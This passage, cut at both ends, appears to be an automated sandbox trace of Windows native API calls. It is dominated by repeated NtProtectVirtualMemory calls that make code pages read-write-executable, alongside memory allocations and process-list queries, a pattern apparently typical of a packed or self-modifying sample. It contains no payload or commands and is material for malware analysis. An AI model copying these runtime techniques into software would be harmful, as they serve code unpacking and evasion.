BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.942] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x1ed38020) returned 1 [0291.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.284] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8eed4*=0x0, ZeroBits=0x0, RegionSize=0x1eb8eed8*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x1eb8eed4*=0x1c0000, RegionSize=0x1eb8eed8*=0x10000) returned 0x0 [0292.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1c0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x1c0000, ResultLength=0x0) returned 0xc0000004 [0292.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.986] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1eb8f234*=0x1c0000, RegionSize=0x1eb8eef8, FreeType=0x8000) returned 0x0 [0292.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.008] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8eec0*=0x0, ZeroBits=0x0, RegionSize=0x1eb8eec4*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x1eb8eec0*=0x1c0000, RegionSize=0x1eb8eec4*=0x20000) returned 0x0 [0293.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1c0000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x1c0000, ResultLength=0x0) returned 0xc0000004 [0293.011] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1eb8f234*=0x1c0000, RegionSize=0x1eb8eef8, FreeType=0x8000) returned 0x0 [0293.011] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8eec0*=0x0, ZeroBits=0x0, RegionSize=0x1eb8eec4*=0x30000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x1eb8eec0*=0x1c0000, RegionSize=0x1eb8eec4*=0x30000) returned 0x0 [0293.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1c0000, Length=0x30000, ResultLength=0x0 | out: SystemInformation=0x1c0000, ResultLength=0x0) returned 0x0 [0293.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, 